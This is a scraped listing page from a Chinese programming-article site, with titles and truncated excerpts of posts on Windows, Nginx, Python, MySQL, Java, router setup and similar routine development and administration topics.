                           title="360前端星计划-动画可以这么玩" target="_blank">360前端星计划-动画可以这么玩</a>
                        <span class="text-muted">马小蜗</span>

                        <div>动画的基本原理定时器改变对象的属性根据新的属性重新渲染动画functionupdate(context){//更新属性}constticker=newTicker();ticker.tick(update,context);动画的种类1、JavaScript动画操作DOMCanvas2、CSS动画transitionanimation3、SVG动画SMILJS动画的优缺点优点:灵活度、可控性、性能</div>
                    </li>
                    <li><a href="/article/1835361883645898752.htm"
                           title="编译Windows平台的Nginx+ngx_http_proxy_connect_module" target="_blank">编译Windows平台的Nginx+ngx_http_proxy_connect_module</a>
                        <span class="text-muted">Grovvy_Deng</span>
<a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/http/1.htm">http</a>
                        <div>编译Windows平台的Nginx+ngx_http_proxy_connect_module背景:由于公司的正向出局代理是windows机器。机器上的Squid不稳定,打算替换成nginx+ngx_http_proxy_connect_module实现。通过几天痛苦的尝试,最后参考了github大神项目通过在线CICD工具编译window平台可用的ng。步骤:获取git可识别的patch由于CI</div>
                    </li>
                    <li><a href="/article/1835358230465835008.htm"
                           title="关闭Windows自动更新的6种方法" target="_blank">关闭Windows自动更新的6种方法</a>
                        <span class="text-muted">Gemini1995</span>
<a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a>
                        <div>在Windows操作系统中,可以使用多种方法来关闭自动更新。以下是其中一些常用的方法:使用设置应用:打开“设置”应用(Win+I),选择“更新和安全”。在左侧菜单中选择“Windows更新”。点击“更改活动时间”或“高级选项”。在“更新选项”下拉菜单中选择“通知我但不自动下载或安装”或“从不检查更新”。通过服务管理器:打开“服务”管理器,可以通过在运行对话框中输入services.msc来打开。找</div>
                    </li>
                    <li><a href="/article/1835353690366636032.htm"
                           title="【nginx】ngx_http_proxy_connect_module 正向代理" target="_blank">【nginx】ngx_http_proxy_connect_module 正向代理</a>
                        <span class="text-muted">等风来不如迎风去</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E6%9C%8D%E5%8A%A1%E5%85%A5%E9%97%A8%E4%B8%8E%E5%AE%9E%E6%88%98/1.htm">网络服务入门与实战</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/http/1.htm">http</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a>
                        <div>50.65无法访问服务器,(403错误)50.196可以访问服务器。那么,配置65通过196访问。需要一个nginx作为代理【nginx】搭配okhttp配置反向代理发送原生的nginx是不支持okhttp的CONNECT请求的。大神竟然给出了一个java工程GINX编译ngx_http_proxy_connect_module及做正向代理是linux构建的。是windows构建的:编译Windo</div>
                    </li>
                    <li><a href="/article/1835344356412846080.htm"
                           title="Windows安装ciphey编码工具,附一道ciscn编码题例" target="_blank">Windows安装ciphey编码工具,附一道ciscn编码题例</a>
                        <span class="text-muted">im-Miclelson</span>
<a class="tag" taget="_blank" href="/search/CTF%E5%B7%A5%E5%85%B7/1.htm">CTF工具</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a>
                        <div>TA是什么一款智能化的编码分析解码工具,对于CTF中复杂性编码类题目可以快速攻破。编码自动分析解码的神器。如何安装Windows环境Python3.864位(最新的版本不兼容,32位的也不行)PIP直接安装pipinstallciphey-ihttps://pypi.mirrors.ustc.edu.cn/simple/安装后若是出现报错请根据错误代码行数找到对应文件,r修改成rb即可。使用标准语</div>
                    </li>
                    <li><a href="/article/1835335283227324416.htm"
                           title="Python程序打包指南:手把手教你一步步完成" target="_blank">Python程序打包指南:手把手教你一步步完成</a>
                        <span class="text-muted">Python_P叔</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>最近感兴趣想将开发的项目转成Package,研究了一下相关文章,并且自己跑通了,走了一下弯路,这里记录一下如何打包一个简单的Python项目,展示如何添加必要的文件和结构来创建包,如何构建包,以及如何将其上传到Python包索引(PyPI)。首先要确保安装最新版本:#Unix/macOSpython3-mpipinstall--upgradepip#windowspy-mpipinstall--u</div>
                    </li>
                    <li><a href="/article/1835314779552575488.htm"
                           title="管理员权限的软件不能开机自启动的解决方法" target="_blank">管理员权限的软件不能开机自启动的解决方法</a>
                        <span class="text-muted">ss_ctrl</span>

                        <div>这是几种解决方法:1.将启动参数写入到32位注册表里面去在64位系统下我们64位的程序访问此HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run注册表路径,是可以正确访问的,32位程序访问此注册表路径时,默认会被系统自动映射到HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft</div>
                    </li>
                    <li><a href="/article/1835297405591973888.htm"
                           title="matlab游标标注移动,matlab实现图形窗口的数据游标" target="_blank">matlab游标标注移动,matlab实现图形窗口的数据游标</a>
                        <span class="text-muted">莫白想</span>
<a class="tag" taget="_blank" href="/search/matlab%E6%B8%B8%E6%A0%87%E6%A0%87%E6%B3%A8%E7%A7%BB%E5%8A%A8/1.htm">matlab游标标注移动</a>
                        <div>DatacursorsforfigurewindowSeveralrelatedfunctions:CreateCursorsetsupaverticalcursoronallaxesinafigure.Thecursorscanbemovedaroundusingthemouse.MultiplecursorsaresupportedineachfigureGetCursorLocationre</div>
                    </li>
                    <li><a href="/article/1835285434691842048.htm"
                           title="TA-Lib Python 库 Windows 64位安装包" target="_blank">TA-Lib Python 库 Windows 64位安装包</a>
                        <span class="text-muted">黄桥壮Quinn</span>

                        <div>TA-LibPython库Windows64位安装包TA.rar项目地址:https://gitcode.com/open-source-toolkit/3ff39简介本仓库提供了一个适用于Windows64位系统的TA-LibPython库安装包。TA-Lib是一个广泛用于金融技术分析的库,支持多种技术指标的计算。资源文件文件名TA-Lib-0.4.29-cp312-win-amd64.whl描</div>
                    </li>
                    <li><a href="/article/1835257575277424640.htm"
                           title="【Python爬虫】百度百科词条内容" target="_blank">【Python爬虫】百度百科词条内容</a>
                        <span class="text-muted">PokiFighting</span>
<a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86/1.htm">数据处理</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E7%88%AC%E8%99%AB/1.htm">爬虫</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>词条内容我这里随便选取了一个链接,用的是FBI的词条importurllib.requestimporturllib.parsefromlxmlimportetreedefquery(url):headers={'user-agent':'Mozilla/5.0(WindowsNT6.1;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/80.</div>
                    </li>
                    <li><a href="/article/1835249126091091968.htm"
                           title="如何避免学习linux必然会遇到的几个问题" target="_blank">如何避免学习linux必然会遇到的几个问题</a>
                        <span class="text-muted">twintwin</span>

                        <div>相信在看这篇文章的都是对linux系统所迷的志同道合的人,不管你是刚开始学,还是已经接触过一些linux的知识,下面的问题是你在学习linux所必须遇到的,若是没有的话那我只能说大神我服你了。下面我就作为一个过来人分享下我学习后的经验。一、无法摆脱Windows的思维方式相信大家接触电脑的时候都是从windows开始,windows的思维方式已经根深蒂固。不过现在你已经打算开始学习linux了,就</div>
                    </li>
                    <li><a href="/article/1835245731506647040.htm"
                           title="两种方法判断Python的位数是32位还是64位" target="_blank">两种方法判断Python的位数是32位还是64位</a>
                        <span class="text-muted">sanqima</span>
<a class="tag" taget="_blank" href="/search/Python%E7%BC%96%E7%A8%8B/1.htm">Python编程</a><a class="tag" taget="_blank" href="/search/%E7%94%B5%E8%84%91/1.htm">电脑</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>  Python从1991年发布以来,凭借其简洁、清晰、易读的语法、丰富的标准库和第三方工具,在Web开发、自动化测试、人工智能、图形识别、机器学习等领域发展迅猛。  Python是一种胶水语言,通过Cython库与C/C++语言进行链接,通过Jython库与Java语言进行链接。  Python是跨平台的,可运行在多种操作系统上,包括但不限于Windows、Linux和macOS。这意味着用Py</div>
                    </li>
                    <li><a href="/article/1835192913345212416.htm"
                           title="python logging模块默认日志级别_一看就懂,Python 日志 logging 模块详解及应用" target="_blank">python logging模块默认日志级别_一看就懂,Python 日志 logging 模块详解及应用</a>
                        <span class="text-muted">路易·罗莎</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/logging%E6%A8%A1%E5%9D%97%E9%BB%98%E8%AE%A4%E6%97%A5%E5%BF%97%E7%BA%A7%E5%88%AB/1.htm">logging模块默认日志级别</a>
                        <div>日志概述百度百科的日志概述:Windows网络操作系统都设计有各种各样的日志文件,如应用程序日志,安全日志、系统日志、Scheduler服务日志、FTP日志、WWW日志、DNS服务器日志等等,这些根据你的系统开启的服务的不同而有所不同。我们在系统上进行一些操作时,这些日志文件通常会记录下我们操作的一些相关内容,这些内容对系统安全工作人员相当有用。比如说有人对系统进行了IPC探测,系统就会在安全日志</div>
                    </li>
                    <li><a href="/article/1835175341849669632.htm"
                           title="《黑神话:悟空》游戏AkExpander.dll文件缺失,使用工具修复更快捷" target="_blank">《黑神话:悟空》游戏AkExpander.dll文件缺失,使用工具修复更快捷</a>
                        <span class="text-muted">李秋秋啊</span>
<a class="tag" taget="_blank" href="/search/%E6%B8%B8%E6%88%8F/1.htm">游戏</a>
                        <div>在Windows操作系统中,当遇到“黑神话:悟空”游戏中的AkExpander.dll文件丢失问题时,用户可能会经历游戏启动失败或运行中断的情况。这个DLL文件是游戏正常运行所必需的,缺失或损坏会导致关键功能无法执行,影响游戏体验。针对《黑神话:悟空》游戏中AkExpander.dll文件缺失的问题,您可以尝试以下几种解决方法:一、重新安装游戏首先,考虑卸载当前安装的游戏版本,并从官方渠道重新下载</div>
                    </li>
                    <li><a href="/article/1835141568131067904.htm"
                           title="MySQL数据库全面学习之(上篇)" target="_blank">MySQL数据库全面学习之(上篇)</a>
                        <span class="text-muted">一心只为学</span>
<a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a>
                        <div>Windows服务--启动MySQLnetstartmysql--创建Windows服务sccreatemysqlbinPath=mysqld_bin_path(注意:等号与值之间有空格)连接与断开服务器mysql-h地址-P端口-u用户名-p密码SHOWPROCESSLIST--显示哪些线程正在运行SHOWVARIABLES--显示系统变量信息数据库操作--查看当前数据库SELECTDATABA</div>
                    </li>
                    <li><a href="/article/1835137152187461632.htm"
                           title="技术周总结 09.09~09.15周日(C# WinForm WPF)" target="_blank">技术周总结 09.09~09.15周日(C# WinForm WPF)</a>
                        <span class="text-muted">打破砂锅问到底007</span>
<a class="tag" taget="_blank" href="/search/wpf/1.htm">wpf</a><a class="tag" taget="_blank" href="/search/c%23/1.htm">c#</a><a class="tag" taget="_blank" href="/search/WinForm/1.htm">WinForm</a>
                        <div>文章目录一、09.09周一1.1)问题01:Windows桌面开发中,WPF和WinForm的区别和联系?联系:区别:二、09.12周四2.1)问题01:visualstudio的相关快捷键有哪些?通用快捷键编辑导航调试窗口管理2.2)问题02:publicpartialclassChoosePLReason:CommonBaseForm2.3)问题03:介绍WindowsForms中的Syste</div>
                    </li>
                    <li><a href="/article/1835131605165895680.htm"
                           title="xp系统打开计算机硬盘分区,详解WindowsXP硬盘分区步骤" target="_blank">xp系统打开计算机硬盘分区,详解WindowsXP硬盘分区步骤</a>
                        <span class="text-muted">随缘惜情</span>
<a class="tag" taget="_blank" href="/search/xp%E7%B3%BB%E7%BB%9F%E6%89%93%E5%BC%80%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A1%AC%E7%9B%98%E5%88%86%E5%8C%BA/1.htm">xp系统打开计算机硬盘分区</a>
                        <div>有许多游戏玩家对经典的WinXP系统非常忠实,即使重新购买了一台超强配置的电脑,依然选择安装WinXP系统,因为WinXP对很多老游戏兼容性更强,游戏玩家也对硬盘的分配非常讲究,因为每一款好玩的游戏容量都是非常庞大,而如果硬盘容量太小的话就装不了几款游戏了,所以许多用户喜欢将其它硬盘容量都分配到一个比较大的分区内,若是Win7就可以非常直观的自动分配,而在WinXP系统下该如何实现呢?下面一起来认</div>
                    </li>
                    <li><a href="/article/1835123776463925248.htm"
                           title="什么是 PHP? 为什么用 PHP? 谁在用 PHP?" target="_blank">什么是 PHP? 为什么用 PHP? 谁在用 PHP?</a>
                        <span class="text-muted">m0_37438181</span>
<a class="tag" taget="_blank" href="/search/%E6%B0%B8%E8%BF%9C%E5%AD%A6%E4%B9%A0/1.htm">永远学习</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>一、什么是PHP?PHP(HypertextPreprocessor,超文本预处理器)是一种广泛应用于Web开发的通用开源脚本语言。PHP主要用于服务器端编程,可以嵌入HTML中,与数据库进行交互,生成动态网页内容。它具有以下特点:简单易学:语法相对简单,容易上手,对于初学者来说是一个不错的选择。跨平台性:可以在多种操作系统上运行,如Windows、Linux、Unix等。丰富的函数库:提供了大量</div>
                    </li>
                    <li><a href="/article/1835122011819569152.htm"
                           title="Windows多版本python共存" target="_blank">Windows多版本python共存</a>
                        <span class="text-muted">翟光</span>
<a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a>
                        <div>1.简介Python自从进入3.x版本后,与2.x的版本发生了许多变化,3.x对2.x也不兼容。在实际应用中,可能会2.x和3.x的版本交叉应用,因此,需要在本地安装多个版本的Python。本处介绍一种在Windows系统下安装多个不同版本的python的方法,安装后无需进行任何特殊的处理(例如将python.exe更名为python2.exe什么的)即可使用。2.安装环境本人的安装环境如下:系统</div>
                    </li>
                    <li><a href="/article/1835108779365068800.htm"
                           title="gs3101光猫改桥接及路由器pppie拨号设置" target="_blank">gs3101光猫改桥接及路由器pppie拨号设置</a>
                        <span class="text-muted">xing2zhe3wujiang1</span>
<a class="tag" taget="_blank" href="/search/%E8%B7%AF%E7%94%B1%E5%99%A8/1.htm">路由器</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a>
                        <div>1)改桥接1连接光猫发出的WiFi,并访问192.168.1.1输入光猫背面提供的账号密码,保持登录。2打开新页面并访问192.168.1.1/cgi-bin/getGateWay.cgiFamilyGateWayYes/No#如果第二行显示No,再次刷新浏览器就可以了3在控制面板-程序和功能-启动或关闭Windows功能选中Telnet4输入telnet192.168.1.1tclogin:ad</div>
                    </li>
                    <li><a href="/article/1835103991080513536.htm"
                           title="操作系统简介" target="_blank">操作系统简介</a>
                        <span class="text-muted">像风一样自由2020</span>
<a class="tag" taget="_blank" href="/search/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/1.htm">操作系统</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/harmonyos/1.htm">harmonyos</a>
                        <div>操作系统简介操作系统(OperatingSystem,简称OS)是管理计算机硬件和软件资源的系统软件,为用户和应用程序提供接口。现今,操作系统种类繁多,主要分为桌面操作系统、服务器操作系统和移动操作系统等。以下是对目前存在的主要操作系统的详细介绍。1.Windows简介:Windows是由微软公司开发的系列图形界面操作系统,是全球使用最广泛的桌面操作系统之一。最新版本:截至2023年10月,最新版</div>
                    </li>
                                <li><a href="/article/108.htm"
                                       title="Nginx负载均衡" target="_blank">Nginx负载均衡</a>
                                    <span class="text-muted">510888780</span>
<a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/%E5%BA%94%E7%94%A8%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">应用服务器</a>
                                    <div>Nginx负载均衡一些基础知识: 
 
nginx 的 upstream目前支持 4 种方式的分配 
1)、轮询(默认) 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 每个请求按时间顺序逐一分配到不同的后端服务器,如果后端服务器down掉,能自动剔除。 
2)、weight 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 指定轮询几率,weight和访问比率成正比</div>
                                </li>
                                <li><a href="/article/235.htm"
                                       title="RedHat 6.4 安装 rabbitmq" target="_blank">RedHat 6.4 安装 rabbitmq</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/erlang/1.htm">erlang</a><a class="tag" taget="_blank" href="/search/rabbitmq/1.htm">rabbitmq</a><a class="tag" taget="_blank" href="/search/redhat/1.htm">redhat</a>
                                    <div>在 linux 下安装软件就是折腾,首先是测试机不能上外网要找运维开通,开通后发现测试机的 yum 不能使用于是又要配置 yum 源,最后安装 rabbitmq 时也尝试了两种方法最后才安装成功 
 
机器版本: 
 
[root@redhat1 rabbitmq]# lsb_release
LSB Version:    :base-4.0-amd64:base-4.0-noarch:core</div>
                                </li>
                                <li><a href="/article/362.htm"
                                       title="FilenameUtils工具类" target="_blank">FilenameUtils工具类</a>
                                    <span class="text-muted">eksliang</span>
<a class="tag" taget="_blank" href="/search/FilenameUtils/1.htm">FilenameUtils</a><a class="tag" taget="_blank" href="/search/common-io/1.htm">common-io</a>
                                    <div>转载请出自出处:http://eksliang.iteye.com/blog/2217081 一、概述 
这是一个Java操作文件的常用库,是Apache对java的IO包的封装,这里面有两个非常核心的类FilenameUtils跟FileUtils,其中FilenameUtils是对文件名操作的封装;FileUtils是文件封装,开发中对文件的操作,几乎都可以在这个框架里面找到。 非常的好用。 </div>
                                </li>
                                <li><a href="/article/489.htm"
                                       title="xml文件解析SAX" target="_blank">xml文件解析SAX</a>
                                    <span class="text-muted">不懂事的小屁孩</span>
<a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a>
                                    <div>xml文件解析:xml文件解析有四种方式, 
1.DOM生成和解析XML文档(SAX是基于事件流的解析) 
2.SAX生成和解析XML文档(基于XML文档树结构的解析) 
3.DOM4J生成和解析XML文档 
4.JDOM生成和解析XML  
本文章用第一种方法进行解析,使用android常用的DefaultHandler 
 
 
import org.xml.sax.Attributes;
</div>
                                </li>
                                <li><a href="/article/616.htm"
                                       title="通过定时任务执行mysql的定期删除和新建分区,此处是按日分区" target="_blank">通过定时任务执行mysql的定期删除和新建分区,此处是按日分区</a>
                                    <span class="text-muted">酷的飞上天空</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                                    <div>使用python脚本作为命令脚本,linux的定时任务来每天定时执行 
  
#!/usr/bin/python
# -*- coding: utf8 -*-
import pymysql
import datetime
import calendar

#要分区的表
table_name = 'my_table'
#连接数据库的信息
host,user,passwd,db = </div>
                                </li>
                                <li><a href="/article/743.htm"
                                       title="如何搭建数据湖架构?听听专家的意见" target="_blank">如何搭建数据湖架构?听听专家的意见</a>
                                    <span class="text-muted">蓝儿唯美</span>
<a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a>
                                    <div>Edo Interactive在几年前遇到一个大问题:公司使用交易数据来帮助零售商和餐馆进行个性化促销,但其数据仓库没有足够时间去处理所有的信用卡和借记卡交易数据 
&nbsp;“我们要花费27小时来处理每日的数据量,”Edo主管基础设施和信息系统的高级副总裁Tim Garnto说道:“所以在2013年,我们放弃了现有的基于PostgreSQL的关系型数据库系统,使用了Hadoop集群作为公司的数</div>
                                </li>
                                <li><a href="/article/870.htm"
                                       title="spring学习——控制反转与依赖注入" target="_blank">spring学习——控制反转与依赖注入</a>
                                    <span class="text-muted">a-john</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a>
                                    <div>&nbsp; &nbsp; &nbsp; &nbsp;控制反转(Inversion of Control,英文缩写为IoC)是一个重要的面向对象编程的法则来削减计算机程序的耦合问题,也是轻量级的Spring框架的核心。 控制反转一般分为两种类型,依赖注入(Dependency Injection,简称DI)和依赖查找(Dependency Lookup)。依赖注入应用比较广泛。 
&nbsp; 
</div>
                                </li>
                                <li><a href="/article/997.htm"
                                       title="用spool+unixshell生成文本文件的方法" target="_blank">用spool+unixshell生成文本文件的方法</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/xshell/1.htm">xshell</a>
                                    <div>例如我们把scott.dept表生成文本文件的语句写成dept.sql,内容如下:  
  set pages 50000; 
  set lines 200; 
  set trims on; 
  set heading off; 
  spool /oracle_backup/log/test/dept.lst; 
  select deptno||','||dname||','||loc </div>
                                </li>
                                <li><a href="/article/1124.htm"
                                       title="1、基础--名词解析(OOA/OOD/OOP)" target="_blank">1、基础--名词解析(OOA/OOD/OOP)</a>
                                    <span class="text-muted">asia007</span>
<a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/1.htm">学习基础知识</a>
                                    <div>OOA:Object-Oriented Analysis(面向对象分析方法) 
是在一个系统的开发过程中进行了系统业务调查以后,按照面向对象的思想来分析问题。OOA与结构化分析有较大的区别。OOA所强调的是在系统调查资料的基础上,针对OO方法所需要的素材进行的归类分析和整理,而不是对管理业务现状和方法的分析。 
  OOA(面向对象的分析)模型由5个层次(主题层、对象类层、结构层、属性层和服务层)</div>
                                </li>
                                <li><a href="/article/1251.htm"
                                       title="浅谈java转成json编码格式技术" target="_blank">浅谈java转成json编码格式技术</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/json%E7%BC%96%E7%A0%81/1.htm">json编码</a><a class="tag" taget="_blank" href="/search/java%E8%BD%AC%E6%88%90json%E7%BC%96%E7%A0%81/1.htm">java转成json编码</a>
                                    <div>json编码;是一个轻量级的数据存储和传输的语言 
&nbsp;&nbsp; 
&nbsp; &nbsp;在java中需要引入json相关的包,引包方式在工程的lib下就可以了 
&nbsp; 
JSON与JAVA数据的转换(JSON 即 JavaScript Object Natation,它是一种轻量级的数据交换格式,非 
&nbsp; 
常适合于服务器与 JavaScript 之间的数据的交</div>
                                </li>
                                <li><a href="/article/1378.htm"
                                       title="web.xml之Spring配置(基于Spring+Struts+Ibatis)" target="_blank">web.xml之Spring配置(基于Spring+Struts+Ibatis)</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/web.xml/1.htm">web.xml</a><a class="tag" taget="_blank" href="/search/SSI/1.htm">SSI</a><a class="tag" taget="_blank" href="/search/spring%E9%85%8D%E7%BD%AE/1.htm">spring配置</a>
                                    <div>指定Spring配置文件位置 
&lt;context-param&gt;
		&lt;param-name&gt;contextConfigLocation&lt;/param-name&gt;
		&lt;param-value&gt;
			/WEB-INF/spring-dao-bean.xml,/WEB-INF/spring-resources.xml,
			/WEB-INF/</div>
                                </li>
                                <li><a href="/article/1505.htm"
                                       title="Installing SonarQube(Fail to download libraries from server)" target="_blank">Installing SonarQube(Fail to download libraries from server)</a>
                                    <span class="text-muted">sunjing</span>
<a class="tag" taget="_blank" href="/search/Install/1.htm">Install</a><a class="tag" taget="_blank" href="/search/Sonar/1.htm">Sonar</a>
                                    <div>1.&nbsp; Download and unzip the SonarQube distribution  
2. &nbsp;Starting the Web Server 
The default port is &quot;9000&quot; and the context path is &quot;/&quot;. These values can be changed in &l</div>
                                </li>
                                <li><a href="/article/1632.htm"
                                       title="【MongoDB学习笔记十一】Mongo副本集基本的增删查" target="_blank">【MongoDB学习笔记十一】Mongo副本集基本的增删查</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a>
                                    <div>一、创建复本集 
&nbsp; 
假设mongod,mongo已经配置在系统路径变量上,启动三个命令行窗口,分别执行如下命令: 
&nbsp; 
mongod --port 27017 --dbpath  data1 --replSet rs0

mongod --port 27018 --dbpath  data2 --replSet rs0

mongod --port 27019 -</div>
                                </li>
                                <li><a href="/article/1759.htm"
                                       title="Anychart图表系列二之执行Flash和HTML5渲染" target="_blank">Anychart图表系列二之执行Flash和HTML5渲染</a>
                                    <span class="text-muted">白糖_</span>
<a class="tag" taget="_blank" href="/search/Flash/1.htm">Flash</a>
                                    <div>今天介绍Anychart的Flash和HTML5渲染功能 
&nbsp; 
 
 HTML5 
 
Anychart从6.0第一个版本起,已经逐渐开始支持各种图的HTML5渲染效果了,也就是说即使你没有安装Flash插件,只要浏览器支持HTML5,也能看到Anychart的图形(不过这些是需要做一些配置的)。 
这里要提醒下大家,Anychart6.0版本对HTML5的支持还不算很成熟,目前还处于</div>
                                </li>
                                <li><a href="/article/1886.htm"
                                       title="Laravel版本更新异常4.2.8-> 4.2.9 Declaration of ... CompilerEngine ... should be compa" target="_blank">Laravel版本更新异常4.2.8-> 4.2.9 Declaration of ... CompilerEngine ... should be compa</a>
                                    <span class="text-muted">bozch</span>
<a class="tag" taget="_blank" href="/search/laravel/1.htm">laravel</a>
                                    <div>昨天在为了把laravel升级到最新的版本,突然之间就出现了如下错误: 
ErrorException thrown with message &quot;Declaration of Illuminate\View\Engines\CompilerEngine::handleViewException() should be compatible with Illuminate\View\Eng</div>
                                </li>
                                <li><a href="/article/2013.htm"
                                       title="编程之美-NIM游戏分析-石头总数为奇数时如何保证先动手者必胜" target="_blank">编程之美-NIM游戏分析-石头总数为奇数时如何保证先动手者必胜</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B%E4%B9%8B%E7%BE%8E/1.htm">编程之美</a>
                                    <div>


import java.util.Arrays;
import java.util.Random;

public class Nim {

	/**编程之美 NIM游戏分析
问题:
有N块石头和两个玩家A和B,玩家A先将石头随机分成若干堆,然后按照BABA...的顺序不断轮流取石头,
能将剩下的石头一次取光的玩家获胜,每次取石头时,每个玩家只能从若干堆石头中任选一堆,</div>
                                </li>
                                <li><a href="/article/2140.htm"
                                       title="lunce创建索引及简单查询" target="_blank">lunce创建索引及简单查询</a>
                                    <span class="text-muted">chengxuyuancsdn</span>
<a class="tag" taget="_blank" href="/search/%E6%9F%A5%E8%AF%A2/1.htm">查询</a><a class="tag" taget="_blank" href="/search/%E5%88%9B%E5%BB%BA%E7%B4%A2%E5%BC%95/1.htm">创建索引</a><a class="tag" taget="_blank" href="/search/lunce/1.htm">lunce</a>
                                    <div>import java.io.File;
import java.io.IOException;

import org.apache.lucene.analysis.Analyzer;
import org.apache.lucene.analysis.standard.StandardAnalyzer;
import org.apache.lucene.document.Docume</div>
                                </li>
                                <li><a href="/article/2267.htm"
                                       title="[IT与投资]坚持独立自主的研究核心技术" target="_blank">[IT与投资]坚持独立自主的研究核心技术</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/it/1.htm">it</a>
                                    <div> 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 和别人合作开发某项产品....如果互相之间的技术水平不同,那么这种合作很难进行,一般都会成为强者控制弱者的方法和手段..... 
 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 所以弱者,在遇到技术难题的时候,最好不要一开始就去寻求强者的帮助,因为在我们这颗星球上,生物都有一种控制其</div>
                                </li>
                                <li><a href="/article/2394.htm"
                                       title="flashback transaction闪回事务查询" target="_blank">flashback transaction闪回事务查询</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E9%97%AA%E5%9B%9E%E4%BA%8B%E5%8A%A1/1.htm">闪回事务</a>
                                    <div>&nbsp;&nbsp; 
闪回事务查询有别于闪回查询的特点有以下3个: 
 
(1)其正常工作不但需要利用撤销数据,还需要事先启用最小补充日志。 
 
(2)返回的结果不是以前的“旧”数据,而是能够将当前数据修改为以前的样子的撤销SQL(Undo SQL)语句。 
 
(3)集中地在名为flashback_transaction_query表上查询,而不是在各个表上通过“as of”或“vers</div>
                                </li>
                                <li><a href="/article/2521.htm"
                                       title="Java I/O之FilenameFilter类列举出指定路径下某个扩展名的文件" target="_blank">Java I/O之FilenameFilter类列举出指定路径下某个扩展名的文件</a>
                                    <span class="text-muted">游其是你</span>
<a class="tag" taget="_blank" href="/search/FilenameFilter/1.htm">FilenameFilter</a>
                                    <div>这是一个FilenameFilter类用法的例子,实现的列举出“c:\\folder“路径下所有以“.jpg”扩展名的文件。        1   2   3   4   5   6   7   8   9   10   11   12   13   14   15   16   17   18   19   20   21   22   23   24   25   26   27   28  </div>
                                </li>
                                <li><a href="/article/2648.htm"
                                       title="C语言学习五函数,函数的前置声明以及如何在软件开发中合理的设计函数来解决实际问题" target="_blank">C语言学习五函数,函数的前置声明以及如何在软件开发中合理的设计函数来解决实际问题</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/c/1.htm">c</a>
                                    <div># include &lt;stdio.h&gt;

int f(void)		//括号中的void表示该函数不能接受数据,int表示返回的类型为int类型
{
	return 10;	//向主调函数返回10
}

